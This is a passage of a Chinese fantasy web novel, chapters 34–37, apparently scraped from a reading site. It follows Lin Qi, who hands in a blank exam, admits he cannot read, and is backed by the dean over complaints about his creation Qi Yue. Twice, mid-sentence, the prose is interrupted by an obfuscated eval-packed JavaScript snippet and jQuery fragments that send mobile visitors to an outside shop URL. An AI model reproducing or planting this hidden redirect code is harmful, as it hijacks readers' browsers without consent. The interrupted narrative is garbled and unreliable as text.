唱完最后一个音节,程明一秒收声,顿时,从一楼到三楼,整个空间有种异样的静。 “好了,你们几个,可以上楼了。”程明指着楼梯,声音和语气瞬间恢复正常,脸上也没一丝尴尬,仿佛刚才那一幕和他毫无关系。 林栖注意到,旋梯上的绿色树叶变成了橘色,且从上到下微带渐变,越往上颜色越红,最下面则接近橘黄。 同时他也注意到,台阶上的黑刺没了,原本冒尖的位置,现在只剩下一层浅浅的小坑。 “快点快点,别等下它又心情不好。” 程明催促着朝林栖招手,等几人都到了三楼,才继续道,“梯哥最近音乐品味有点独特,特别爱听这首小笨鸟,回头你们都学一下,省得上不了楼。梯哥就是那个旋转楼梯,咱们副院长的得意作品,同时解决了上楼不方便和工房太冷清的两大难题。” 林栖头顶缓缓冒出问号。 祈越看着他,不知想到什么,唇角可疑地向上翘了一下。 七点五十八分,还有四个学生没到。 程明把几只造物大蛾子收回标本册,沐夏在旁边看了一会儿,凑上来问:“程老师,为什么是蛾子?” 程明一边看时间一边回答,“因为蛾子大多是夜行性的,白天出现比较反常,而反常就等于警示。” 好有道理!沐夏在心里感叹,在学校果然每天都能学到知识。 乐贤选了一个右侧靠窗的座位,能晒到太阳。林栖在他后面一张桌子坐下。祈越拎着一本《造物史》,在“寄存区”随便找了一个位置看书。 七点五十九分,一个女孩儿风风火火冲进教室,跑了一段又折回头,冲到助教面前,食指按在点名册上,大声喘气,“登,登记。” 程明直接在她手指旁边打了个勾,“好,记上了,叶美心,去找位子坐吧。” “不是叶美心,是叶心。”女孩儿使劲喘了口气,“你改一下。” 程明疑惑,“不是叶美心吗?” 女孩儿语气笃定,“叶心。” 程明迟疑一瞬,“但你资料上就叫叶美心,我应该不会记错。” 女孩儿有些烦躁,用力挥了下手,仿佛在跟空气打架,“别管资料,我就叫叶心!” 好的,叛逆期……程明不跟她争执,只道:“去找个位子坐吧。” 见她个子小,顺口补了一句:“女孩儿可以往前面坐。” 叶美心本来已经往前走了,听到这句噌的一下又转回头,“干嘛让我坐前面?嫌我矮吗?” 程明心道确实很矮,目测也就一米四,这还是把鞋子也算上了。 叶美心整个人小小一只,长发齐肩,是那种任谁看到都会觉得可爱又漂亮的小姑娘。 当然,如果她不说话还能更可爱点。 程明委婉道:“你坐后排,前面有人挡着,容易看不清楚。” 叶美心显然不领情,“为什么?我们矮子就必须眼睛不好吗?我视力好得很,最后一排也能看清。” “好好好,随便你,坐哪都行。”程明选择认输。 叶美心果然走到最后一排坐了。她这一米四的身高大概三分之二是腿,坐下之后,肩膀刚到桌面,胳膊要举起来才能搭上桌子,基本上和别人蹲在地上一个效果。 几个学生回头看她,她睁着一双小鹿似的大眼睛,凶巴巴的,挨个瞪了回去。 就在他们隔空互瞪的时候,许慎行到了。 八点差十秒,他拎着文件夹,大步进了教室,走上讲台站正,秒针刚好走完最后一格。 报时器发出“叮——”的一声。 傅明熙和傅征几乎同时踏过门槛,但在进门时,傅征却侧身让了一步,由傅明熙先进,自己则跟在他后面进了教室。 附近几个学生下意识往傅征脸上看,即使已经在公共课上见过了,那片胎记依然十分刺眼。 傅征左边脸上有一条红色胎记,像毒蛇盘在眼睛周围,乍看之下很像侵蚀,且形状凶恶,总是让人心生厌恶。 葛严是最后一个到的,迟到了三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650669|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分钟。 程明叫他,他没搭理,一副无所谓的样子,直接在第一排中间坐下。 程明看向许慎行,按这位院长的脾气,肯定容忍不了第一节课就迟到三分钟,八成要把葛严骂到门口罚站。 可许慎行却什么都没说,只扫了葛严一眼,就打开手里的文件夹道:“好,人到齐了,现在开始考试。程老师把试卷发一下。” 这才刚第一天,第一节课,居然一上来就考试…… 台下传来稀疏的抽气声。 那么大个教室只坐十个人,站在讲台看下去,像那种表面挺好但扒了皮没几粒儿的玉米。 小玉米们互相还不挨着,看着格外稀疏。与之相对,画院就是那种均匀饱满的玉米。 许慎行脸色阴沉地垂下视线,从讲台抽屉里拿出一只黑色眼镜盒。 眼镜盒里盘着一团细瘦的蜥蜴骨架,通体漆黑,质地哑光。 随着盒子打开,骨架在里面伸了个懒腰,一只前爪抓起嵌在卡槽里的镜片,三脚并用地从盒子里爬了出来。 许慎行把镜盒靠在手边,小骨架就顺着他的胳膊爬了上去,一直爬到头顶,又用尾巴卷着头发,把自己倒吊下来,落在高挺的鼻梁上,一边挪动身体趴好,一边手脚并用地固定镜片,最后将一条细长的尾巴甩出去,沿面部轮廓弯折几道,尾尖稳稳勾住耳廓。 考试时间半小时,结束之后,许慎行让助教放了一段课程介绍,叫学生先看,自己则在第一排找了个位子批阅试卷。 十分钟后,阅卷结束,许慎行沉着脸色回到讲台,单片眼镜后方眸光异常锐利,“全是基础题,十个人,只有一个满分。” “稀奇吗?还有更稀奇的,猜猜最后一名考了几分?”许慎行看向手里那张答题纸,张嘴缓缓吸了口气,似乎酝酿好了准备开骂,片刻,却又硬生生闭上嘴,唇线紧紧抿着,让这口气从鼻孔里喷了出去,只朝教室后方扫了一眼就收回视线。 “算了,说也没用,这次成绩我就不公布了,你们谁觉得自己有可能考最后一名,第二节下课之后主动过来找我。” 造物概论分上下两节,课间十五分钟。 下课之后,沐夏直接从前排跑到林栖旁边,眨着眼问,“满分那个是你吗?我有一题拿不准,应该不是我。” 有那么一瞬间,林栖看沐夏的眼神仿佛怀疑自己正在梦游。 沐夏挠头,“怎么了?你也拿不准啊?” 不是的,林栖摇头。 他拿得准,没有人比他拿得更准,那么大的答题纸上只写了两个字——林栖。 稳稳的零分,毫无疑问。 沐夏懂了。 “你也没发挥好?正常正常,都有考不好的时候,而且一来就考试,谁都没有心理准备,肯定紧张,等下次就好了,没事没事,相信自己,你是有实力的。” 沐夏熟练地安慰一通,朝林栖露出两颗亮闪闪的小虎牙,“真的,一两次考不好没关系,我再去问问乐贤,估计满分是他,这家伙,真的记性超好。” 沐夏跑着去找乐贤,回来时告诉林栖满分应该就是乐贤没错,他问林栖下课要不要一起吃饭,林栖说不了,他还要去找许慎行。 前面许慎行已经说了,让最后一名课后找他,沐夏也听见了,但听林栖这样讲,他还是完全没把林栖和最后一名联系到一起。 他只是了然地“哦”了一声,想着,林栖是带顶级造物来上课的,估计要跟院长讨论一下后面怎么安排,毕竟带着顶级造物等于教室里直接多了个人。 沐夏对林栖有滤镜,其他人的想法就不一样了。 下课之后,除了林栖之外,还有两个觉得自己可能考最差的学生也留了下来。 一个是葛严,一个是叶美心。 三人一起找到许慎行,许慎行只对葛严叶美心说了几句就让两人走了,唯独留下林栖一个。 有心人不难猜到,考最差的那个就是林栖。 而且,葛严很清楚,自己故意只做了一道题,如果林栖比他考得还差,那简直是个人才。 课后教室更显空旷,许慎行从单片眼镜上抬起视线,看着林栖,“你啊,又给我交了一张白卷。” 林栖安静站着,垂下睫毛不说话,一副听凭责骂绝不顶嘴的乖巧模样。 许慎行打量着他,半晌,颇无奈地叹了口气,“这次有什么想说的吗?手疼?写不了字?没睡好?头晕?考零分也不是那么容易的,总得给我一个说法。” 35. 第 35 章 说法…… 林栖还记得补考选人那天许院长脸上的表情——对他很失望,不抱任何期待。 后来他通过补考,许院长再看他时,眼里又多了一种和之前不一样的期待。 林栖不想被期待。 但更不想让人失望。 可是,如果一定要让别人走一遍期待又失望的流程,他希望对方可以一次性失望到底。 林栖像一只绷紧线的提线木偶,一动不动且面无表情,静静站了几秒之后才从那种紧绷的状态松开,鸦羽般的睫毛轻轻向上抬起。 “我看不懂题。”林栖终于开口。 “看不懂题?看不懂题……”许慎行拧着眉头重复,居然一时没懂这句话的意思。 不管他做好怎么样的心理准备,这帮孩子总有办法突破他的心理防线。 他撑着讲台向前倾身,整个人像一架潜望镜似的盯着林栖,“怎么看不懂了?哪里不懂?你给我举个例子,比如就这题,第一题,你跟我说说,哪里不懂?” 林栖胸口微微起伏,无声呼了口气,“哪里都不懂,我看不懂字。” “看不懂字?看不懂字……”许慎行又开始重复,“你的意思是,你不识字?” 林栖老实又乖巧地点了下头,动作幅度很明显,下颌几乎触到胸口。 许慎行沉默了,一口气憋在肺里吐不出来。 他本来都想好了,不管林栖说哪里不懂,自己今天都要给他解释明白,一遍不行就两遍,两遍不行就两百遍,直到弄懂为止! 可…… 这…… 不识字…… “具体呢?不识字到什么程度?”许慎行还不死心,“能认识一百个字?” 林栖摇头。 “五十?” 继续摇头。 “只会写名字??” “……还有十个数字。” 许慎行表情空白,锐利的眼神随之失去高光,一个稍显陌生的词汇在他脑海中缓缓浮起—— 文盲…… 学城发展两百年了,居然还会招生招到一个文盲…… 许慎行顿时有种天要亡我造物院的无力感,林栖摇头他也摇头,忽然就没了讲题目的心气儿,仿佛已然入土为安,黄泥埋到胸口,说起话来带着一种有气无力的平和。 “那我明白了,就这样吧,不管怎么样……还是要先打基础,既然看不懂……那就先不懂吧,你就……回去抄书,抄抄书,今天学的这一章,抄……三遍,然后下一章也抄一遍,下节课交。” 林栖点头,很乖地说了声好。 许慎行缓步出了教室,仿佛连抬脚都没有力气。林栖等他走远,看了一眼教室后面,到自己座位收拾东西,再回头时,祈越已经在身后了。 许慎行没公布成绩,也没当着其他学生的面跟林栖说话,但没避着祈越。 他又都听见了。 这就导致林栖现在只要看祈越一眼,就能脑补出他想说的话,类似于—— 哦,你只会十二个字? 其中还有两个字是名字,占比六分之一。 早知道这样,名字就该取长一点,还能多会几个。 …… 脑补本身已经令人不太愉悦,更烦的是—— 林栖自己都已经脑补那么多了,可祈越居然一句话都没说。 这让他觉得,祈越实际想说的话肯定比他脑补的还要刻薄很多。 两人一前一后走出教学楼,林栖站在楼侧的阴影里,再往前两步就是正午时分明晃晃的太阳。 他回头看了祈越一眼。 那双眼睛在晴天的阴影下是冷红色的。 于是他莫名就确定了,果然很刻薄。 比他后面想的“还要刻薄”更加刻薄几倍。 已经超出了他的脑补极限。 林栖视线在祈越脸上停了一秒,没说话,转头继续走。 片刻,他听到祈越的声音从身后传来,“好巧,我以前也是文盲。” 这一刻的感觉好像正着转了很久的齿轮忽然开始倒转,林栖有点反应不过来,从思维到行动都出现了一瞬间的迟滞,他脚步没来及停,就这么一步跨到了明灿灿的阳光里。 接着,他听到祈越脚步声在他身边停下,语气像在谈论天气,“一件古董造物,看不懂现代语也很合理吧?” 林栖不用刻意转身,只稍微挪动一点视线,就能看到祈越脸上的表情。 但是他没看懂。 祈越的态度有点奇怪。 下午的造物基础课安排在工房二楼,任课老师姓卫,和许慎行几乎是两个极端,要求不严,脾气也好,语气活泼得好似自带乐谱,看人时眼里也像跳着音符。 两节课的时间一眨眼就过去,下课时,林栖在位子上收拾东西,沐夏隔着几个座位朝他喊:“林栖林栖,一起去图书馆吗?” 林栖是打算去图书馆的,他想把上次那本有关林叙的书继续看完,再找找有没有《造物设计入门》的古语版本。 但这两件事都不太方便被沐夏知道。 而沐夏泡图书馆仿佛是有童子功在身上,一坐就能坐到闭馆。 他眨了下眼,手指在身侧轻轻捏着衣角,“我今天有点事,就不去了,可以麻烦你帮我借本书吗?” “好啊没问题,哪本?” “《百年经典造物赏析》有两个版本,院馆是原版,校馆是重印版,我比较过了,重印版的画质更好。” “哇你都比较过了,好仔细!可以可以,刚好我也想看,不过校馆人多,得早点去……”沐夏说着,看向门口,似乎想规划一下最短路径,但紧接着就把手朝林栖眼前晃了晃,引着他的视线往门口看,“林栖,你家造物在等你呢。” 林栖一抬头,果然看到祈越站在门外,不过看表情不像等人,似乎只是单纯路过,凑巧朝他这边看了一眼。 下午这间教室很小,桌子也只按人头放了十张,上课期间祈越没跟进来,自己在外面找了个地方看书。 林栖座位靠窗,如果找好角度,刚巧可以看到祈越在的位置。 他这一下午大概回头看了十次…… 其实他并不想知道祈越在干什么。 但或许就像衣领上的标签,没发现就算了,一旦知道它在那里,就总觉得这一小片布料特别扎人,忍不住就想动动领口,揪它一下。 然而揪它是没用的。 越揪越扎。 正确的做法是别管它,把它忘了。 林栖看着门外,在心里“哦”了一声。沐夏在旁边催促,“走走,我先买个面包,然后就去校馆,我们可以一起出……” 他话还没说完,助教程明就在门口探头叫了林栖一声,招手道:“院长找你,来,跟我过来。” 五分钟后,程明把林栖和祈越一起带到了院长室,也就是许慎行的个人办公室。 院长室位于整栋建筑顶层北侧,在“山形吐司”最右边的那个“山顶”下面。 院长室不光是一间屋子,还包括一段独立走廊和专用楼梯,从踏上楼梯开始,周围就成了另外一种画风。 楼梯底色是石墨般的哑黑,扶手柱上浮雕着一段盘旋而上的脊骨,冰冷银质锈蚀出焦黑的肌理和幽蓝的反光,看起来格外森然可怖。 走廊里更是一片乌漆嘛黑,脚下铺着墨色地毯,墙上贴着鸦羽般的天鹅绒墙布,头顶是烟熏似的木质吊顶。 走廊有窗,但连光都仿佛是黑色的——窗框是冰冷的铁黑,而窗帘颜色是焚烧后的焦糊…… 人走在这种地方,会短暂地对空间和方向失去概念。 院长室大门好似钢琴外壳,黑得历史厚重,深沉内敛。 门把手是一条银色的骷髅手臂,上翘的食指骨节上勾着一块骨头吊牌,上面写着:已死,勿扰。 程明显然早就习惯了这种画风,咚咚敲了几下房门,“院长,我把林栖带过来了。” 就见那副骷髅手指动了动,把吊牌抓进手心,虚虚拢住,接着整条手臂向下一沉,发出“咔哒”一声,房门自动向外开启。 房间内部简直就是一个丧葬文化展览中心,随处可见大大小小的动物骨架,其中最大的一副直接嵌满整个房间,白骨是吊顶也是立柱,仿佛掏空了一只巨兽身体,把办公室直接塞在胸腔里了。 屏风造型也很奇特,也不知道哪里的墓地清仓大甩卖,捡了四块棺材板儿就串在一起。 程明只负责带人过来,打声招呼就离开了。 林栖和祈越进屋之后,房门缓缓关上,仿佛安眠一般躺进门框,没发出一点声音。 许慎行坐在办公桌后,鼻梁上趴着那副上课时用过的单片眼镜,抬眼一扫,“今天才第一天,课刚上完,投诉信就送到我手上了。” 林栖从满眼的丧葬文化中回过神来,捕捉到一个关键词:投诉。 “有家长找学校投诉,说造院学生林栖带着危险物品上课,妨害其他学生人身安全。”许慎行说着,抓出一叠信,啪的一声拍在桌上,“看吧,这些都是投诉。” 他指着其中一封,“这一个说,造院学生林栖在补考期间,故意放任造物欺负其他考生,对学校风气造成了恶劣影响,要求林栖本人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663627|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 携造物一起承认错误并当面道歉。” “还有这个——”他又指向另外一封,“说怪物袭击那天,某个人形造物干扰了救援队的行动,导致有些学生没能第一时间脱离险境,受到了很严重的惊吓,要求造院严肃处理并进行赔偿。” 最后,他抽出一只信封指向祈越,“哦,还有,这位家长说,你的红眼睛吓着他们家孩子了,要求赔偿精神损失。” 许慎行说话时,透过镜片观察着林栖反应,发现林栖表情和平时不太一样,一说到造物问题,这小孩儿看起来就没那么乖了。 眼睛还是那双眼睛,眼神里却透着股倔。 片刻,就听林栖道:“他没欺负其他考生,没干扰救援行动,眼睛也很好看,一点都不吓人。” 空气安静一瞬,祈越表情微妙地朝他看了一眼,连许慎行都轻轻啧了一声。 “你猜那些投诉的人会不会听你解释?”许慎行双手在桌面交叠,“林栖,现在有人对你带造物一起上学很有意见,学校的意思也是让你把造物上交保管。对此你有什么想说的吗?” 林栖皱起眉头,手指在身侧捏紧,短短一瞬间,已经想到了退学之后该怎么跟观沄解释。 他以为,许慎行现在这样说是在传达校方意见,搞不好祈越会被学校强行带走。 他下意识往祈越身前挡了一步,以一种保护姿态把他和潜在危险隔开,正要开口,下一秒却听许慎行道:“不会说是吧?正常,今天刚上第一天课,还没来得及教。” “现在我来教你,当然是——”许慎行手在桌面一扫,“哗啦”一声,把那些投诉信全部扫到地上,“去他们的!” “自己凭本事署名的造物,想带就带。不光带着,还要名正言顺,明目张胆。” 林栖捏紧的手指松开了一点,但没完全放松,看着许慎行,明白了他的态度,但没听懂他的意思。 什么明目张胆? 许慎行从办公桌后起身,可能因为环境原因,气势比平时更像诈尸,他绕到桌前,站在林栖对面,“关于这件事,我有两个解决方案。下面这些话,你自己知道就行,先别告诉别人。” 林栖点头,认真听着许慎行说。 许慎行竖起一根食指,“第一,从下周开始,你们两个一起上课,所有课都一起。” 一起上课?林栖有点没懂。 一直没说话的祈越忽然开口,语气十分冷淡,“你的意思是,让我一直杵在教室后面罚站?” 许慎行撇了撇嘴,“我的意思是,让你一起上学,跟其他学生一样,别人站着你站着,别人坐着你坐着,当然该罚站也是一样罚站,不会因为你是顶级造物就特殊对待。” 林栖从祈越脸上看到了一瞬间的怀疑。 接着,就听许慎行朝他道:“这周之内,会有学生退学,空出一个名额,而我会把这个名额留给祈越。从下周开始,你们就是同学关系,不存在谁带造物一起上学这个问题。听懂了吗?别光瞪着眼睛看我,听懂就点一下头。” “是谁退学?”林栖迟疑着问。 “你不用操心这个,反正不是乐贤。” 林栖缓缓点头,然后缓缓指向祈越,“那他也要写作业吗?” 许慎行道:“当然要写。” “那考试呢?” “当然也得考试,这还用问?” “那院服呢?还有教材、书桌、住的地方……这些也全部都一样吗?” “一样一样,都一样,都会一起安排,你一个小孩儿,怎么这么啰嗦?”许慎行对这些鸡毛蒜皮的问题有点无奈,但随即又想,林栖是真的很关心他的造物。 人的天赋有很多种,可能这也是一种天赋吧,对造物好,讨造物喜欢,所以莫名其妙就能署名顶级造物。 他对林栖道:“从明天开始,到下周之前,你先别带祈越一起上课,我会找个地方给它待着,保证安全。你觉得可以吗?” 最后一句话,是在征求同意。 署名人是世俗意义上的造物所有者,祈越的支配权在林栖手里,即使许慎行是院长,在这个问题上,也要征得林栖同意。 林栖却在听到问题之后看向祈越,“你怎么想?” 祈越眸光微垂,不知在想什么,静了一秒才道:“可以。” 林栖这才朝许慎行点了点头。 许慎行对此有话想说,但憋住了。又看向祈越,“你识字吗?以后一起上课,你就负责念书给林栖听,有问题吗?” “有。” “什么问题?”许慎行有点意外。 “你的第二个方案呢?” 36. 第 36 章 祈越说话不太客气,有种从骨子里透出来的桀骜不驯。 许慎行意味深长地朝他看了一眼,又把目光移向林栖,“第一个方案只是治标,第二个才算治本。我会单独安排一门课,让你们两个一起去上。” “什么课?”祈越问。 许慎行依然看着林栖,仿佛提问的人是他而不是祈越,“控制课,会有老师从头开始教你怎么控制造物。” 他说完,等着林栖回应,结果又从这小孩儿脸上看到了某种无声的倔强。 “怎么了,你不想学?” 林栖目光移向祈越,似乎又想征求意见,许慎行冲他招招手,把他视线揽回自己这边,语气有些无奈。 “林栖,我们是造物学院,不是收藏学院,你以后是要成为一名造物师的。对造物师来说,单靠署名远远不够,如果你想真正拥有一件造物,就必须学会控制。你要知道,造物不是玩具,上课也不是在过家家。” 林栖终于出声了,“嗯,造物不是玩具。” 许慎行默然无语,他说半天,这孩子就只挑了这么一句同意? 他抱起手臂,片刻又松开,向前躬了躬身,“林栖,你可以和造物做朋友,但不能真的把造物当人,造物就是造物。” 与其说是老师教育学生,他的语气更像长辈教导小辈,告诉一个两三岁的孩子,玩具小狗不是小狗,不用真的带它出门,玩具小猫不是小猫,不用真的给它喂饭。 林栖垂下眼睫,不说话,嘴唇微微向下抿着,不止是倔,简直油盐不进。 那张小脸上仿佛写着:你说的都对,但我就是不听。 行吧。 许慎行直起身子,“你想说什么?别憋着,说我听听。” 林栖看了一眼脚下,算着距离,往祈越身边挪了一步,开口道:“我想先和祈越商量一下。” 许慎行心道果然,“行吧,商量吧,给你十分钟。” 又是“你”而不是“你们”。 林栖默默纠正,“我们想回去商量一下。” “回去商量?” “嗯。” “怎么,还要为了这点事等你三天时间?” “两天也行。” “林栖——” “那就一天?”林栖竖起一根手指,样子很乖,声音很软,看起来很好说话。 好说话个屁! 观沄怎么养了这么一个倔驴! 许慎行抱起手臂,咬牙片刻,“行了行了,考虑去吧,给你一天时间。另外就是之前说的,明天上午上课之前,你把祈越放到我这儿,等下午下课再来接走。” “谢谢院长。”林栖礼貌作别,“那我们就先回去了。” 许慎行皱着脸,无声地动了动嘴皮子,朝他摆手,“行了,去吧。” 从院长室出来走北楼梯比较近,这楼梯老旧,平时没什么人用,扶手上打了补丁,台阶也有修补痕迹。 楼梯最后一段很窄,墙上的老式灯泡仿佛锈了一样,亮度还不如一颗熟透的青春痘。 两人走到二楼和一楼间的转角,背后有窗,但天色已晚,木质窗框上只剩一层暗橙色的余晖。 忽然楼下传来“啊”的一声,几个高年级学生在下面试验新做好的造物。 哗啦啦一片声音炸起,伴随着一股气浪,一群黑影好似捅了蝙蝠窝,顺着楼梯冲撞上来。 昏暗中,林栖愣了一下,紧接着手肘被人抓住,往后一拽。 回过神来就听一阵噼里啪啦的声音打在旁边墙上,又哔哔啵啵地顺着墙往下掉,发出清脆的金属撞击声响。 距离最近的噼啪声几乎擦着耳朵划过。 林栖脚没踩稳,往后跌了一步,顿时觉得哪里不对,一扭头先看到祈越清瘦的下颌线,接着后知后觉,自己好像踩着祈越脚了,而且半个身子撞在祈越身上,几乎把人挤成了一只靠垫。 他在心里“啊”了一声,立刻挪动一步,结果又踩到了祈越另一只脚。 冷淡的少年嗓音几乎贴在脑后传来,“你故意的?” “我没有……” 一阵脚步咚咚传来—— “坏了坏了!怎么炸了!” “完了!上面有人!” 两条人影飞奔上楼,祈越抓着林栖手肘,把他从自己身上扯开。 林栖刚站稳,就见两个半大孩子跑了上来,一叠声说着抱歉抱歉,等跑到近前,忽然又同时“啊”了一声,一个人指着祈越大叫:“顶级造物!” 另一个人也朝林栖嚷道:“我知道你!” 转角空间狭窄,两人离得又近,大嗓门儿几乎像空气弹砸在脸上。 林栖往后撤身,不小心又撞了祈越一下。 旁边地上,那一堆被炸过来的不明物体还在动,在地上嗡嗡打转,陀螺似的,不停撞到林栖鞋上,让他想挪步都不知道该往哪里下脚。 一时场面混乱,林栖虽然背对祈越,但完全能脑补出他现在的表情,只是不知道他会先骂哪个,是自己,还是对面这两个人形喇叭。 两个人形大喇叭还在说话—— “你们怎么会走这个楼梯?我刚完全没看见这上面——” “就是,这里平时根本没人,谁能想到——” 话还没说完,下一秒,就见两人忽然站直,没了声音,嘴巴好像上了拉锁一样,闭得严丝合缝。 接着就见他俩同时转了个身,木然走向墙壁,双手投降一样向两侧伸开,啪地一声,拍烧饼似的,把自己贴到了墙上。 林栖似有所觉,一回头,就见祈越正看着那两人的方向,右手抬起,轻捏着食指关节,同时嘴唇无声动了一下。 地上的嗡嗡声停了,祈越垂眸看向林栖,手往楼梯方向一指。 意思是让他走。 林栖一时没动。 祈越不耐烦地吐出几个字:“放心,死不了人。” 哦…… 林栖走在前面,下到一楼时,看到祈越松开了捏住的食指关节。 片刻,楼上传来咚咚两声,两个高年级学生坐倒在地。 “嘶~!你踩我脚了。” “唉哟,唉哟好扎,疼疼疼——” “赶紧收拾一下。” “那我也得先爬起来!” “等等,你是怎么摔的?” “你不是也摔了吗??” 两个学生一边摸黑起身,一边左右张望,“人呢?刚刚还在……” 林栖回头看了一眼,见有人从栏杆上向下探头,来不及想,一把抓住祈越,加快几步,火速逃离案发现场。 他很确定,刚刚祈越对那两人用了某种咒术。 走出教学楼后,祈越顿住脚步,连带着林栖也被动停下。 祈越动了动胳膊,从林栖手里把自己的袖子抽了回来,“跑什么?那两个炸楼道的都还没跑。” 林栖张了张嘴,有话想说,但没想好先说哪句。 “我们这种‘危险物品’是这样的。”祈越朝林栖上下一扫,“哦,不过没你危险,脑子和手脚各管各的,一不小心连自己都能踩死。” 林栖:“……不好意思,踩着你了。” “不好意思吗?没看出来,我怎么觉得你踩得挺开心的。” 林栖:“……” 他朝祈越伸出一只脚,“那你踩回来。” 祈越朝那只干干净净的小白鞋上看了一眼,“我没这种爱好。” 林栖:“?” 那我就有这种爱好了吗? 天边最后一抹霞光消失,路灯亮起,祈越转身往前走,从暖黄色的灯下穿过。 林栖在后面跟上,两人一前一后走进树影,祈越再次开口:“你想怎么商量?” “什么?” “控制课。” 之前下楼时,林栖其实一直在想这个,只是被打断了。 他问:“能不能假装上课?” “你是想说假装控制?” “嗯,可以吗?” “不可以。” “……哦。” 远处图书馆亮着灯,一排排的书架像是摆在橱窗里的玩具,林栖道:“那我再想想,你也想想,现在先去找书。” 他都把沐夏骗到校馆去了,如果今天不去找书,不就白骗了么…… “什么书?” “旧版教材。” “你想用古语对照学习新语?” “嗯。” 祈越没再说话,两人一起进了图书馆。一楼学生不少,但古语书都放在二楼单独一个房间,这会儿没什么人。 林栖直接搬了梯子爬到书架顶层,左起第三盒精装书原本一套七册,但缺了两本,刚好用来藏书,上次沐夏就是把书放在这儿的。 林栖把套盒往外挪了挪,从侧面打开磁吸扣,翻开外壳,结果看到盒子里面空着两个位置。 书不见了。 不知道是不是被人藏到别的地方去了。 林栖又试着找了一会儿,但毫无头绪,只能暂时作罢,先去看旧版教材。 课上要用的很多书都有相对应的旧版,虽然内容增补改动很大,但基础理论是共通的,林栖可以提前预习旧版,再拿新版上课,这样就不至于完全听不懂老师在说什么。 图书馆里的原版古语书能看不能借,但影印版本可以,学生每人每天可以申请影印20页内容带走,影印本一样要还,不过可以到期再续,且不算在正常借书额度之内,理论上,只要不怕麻烦,可以把这些影印本一直留下,拖到毕业再还。 明天的课是 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林栖疑惑打开,就见袋子里放着几样吃的——毛毛虫面包、巧克力威化、一瓶牛奶和一盒果汁。 林栖低着头,肚子很应景的叫了一声,回头朝图书馆里看了一眼,才发现已经八点五十五了。 学生餐厅九点关门,就算现在过去也已经来不及了。 唔…… 所以祈越是特意帮他买的。 “你吃了吗?”林栖问。 祈越回道:“废话,能先吃完为什么还要拎在手里碍事?” 好有道理…… 林栖咕哝一声谢谢,拆开袋子,先啃了一口毛毛虫。 清甜的奶油味在口中散开,他正鼓着脸颊咀嚼,就听祈越道:“不光能把自己踩死,还能把自己饿死,你是怎么活到这么大的?” 林栖只当听不见,又咬了一大口面包,觉得有点噎,想开牛奶,结果手上东西太多,没抓稳,夹在手里的影印本顿时往下一滑。 他下意识地一抓,影印是抓住了,但另一只手里的面包却飞了出去。 祈越伸手接住,面无表情地看着他道:“不吃还我,别扔。” 林栖:“……” 事已至此,还是先喝牛奶吧…… 林栖在路上吃饱了,回屋之后,直接先去洗漱,换了衣服开始看书,他准备先花半小时把那20页仔细看完,再用一小时和新版对照一遍。 剩下的时间用来抄书,一共四章要抄,后天早上交,所以今天最好抄完两章。 20页只用10分钟就看完了,进展顺利,但很快,林栖就发现了一个问题。 旧版和新版有些地方对不上,比如新版第三页有一段是引用了旧版第二页,理论上,两段内容应该完全一致,只是文字差异,但实际上,两边意思并不一样。 古语和新语主要是文字区别,只要读出来,林栖就能听懂。 他先自己看了一遍古语旧版,又听祈越读了一遍新版,结果两个版本在脑子里对不上号。 感觉就像一半是苹果一半是梨子,形状和大小都很接近,缺不是一个东西。 他又对照字典,一个字一个字地,把那段新版看了一遍,得出了一个很奇怪的结论——每个字都没翻错,但意思就是不对。 比如同一个词,在古语里有两个意思,但新语简化之后只剩一个意思,单看区别不大,放在文里,整句话的意思就不一样了。 林栖看向祈越,眼中有些尚在思考中的茫然,“翻译好像有点不对……” “是么,哪里不对?”祈越语气很敷衍地接了一句。 林栖一边思考,一边把自己看到的问题复述一遍,说完更加确定,翻译真的不对。 他咕哝一句:“教科书也会翻译错吗……” 祈越手上拿着书,但已经在同一页停了十几分钟,“不然呢?翻译又不懂古语。” 林栖抬头,“嗯?” 祈越像是知道他听不懂,又道:“翻译只是翻译。” 解释得很好,这下林栖更不懂了。 祈越把书托在手里晃了晃,“语言环境相差一百多年,你是怎么看新语的,现代人就是怎么看古语的。翻译只是一种解读,而解读必然存在偏差。” 林栖有点懂了,但同时,他也捕捉到了祈越话里的另外一层意思,顿时有种很不好的预感,心里还没理清头绪,已经本能开始狡辩:“我没……” 祈越合上书,一声闷响打断了林栖的话。 “只有在古语环境下长大的人,才能看出这种翻译错误,我能看出来,是因为在我那个时代,世界上还没有新语这种东西。” 他缓缓抬眸,目光沉静,“你呢,林栖?” 你又是为什么会懂古语? 37. 第 37 章 林栖想起来了,昨天在图书馆,祈越说他看书很快。 学过古语和本身就会古语的阅读速度肯定是不一样的。 他当时就该想到这点,但可能因为每天待在一起,或者因为对方是造物,也可能是署名的原因,他对祈越总是有种……嗯,总是提不起戒心,一不小心就会被他看出破绽。 以后这种情况只会更多。 他有点不想再狡辩了…… 林栖双手支在桌面,紧绷的肩膀和手肘逐渐放松,重心向下坠着,像是一节课撑了太久,忍不住就想往桌上趴。 “嗯……”他含混地应了一声,拖长的尾音几乎能听出省略号的间隔。 该怎么说呢? 人一旦开始犯懒,就会在惯性下越来越懒。林栖觉得自己脑子有点空,不仅不想狡辩,甚至懒得斟酌措辞。 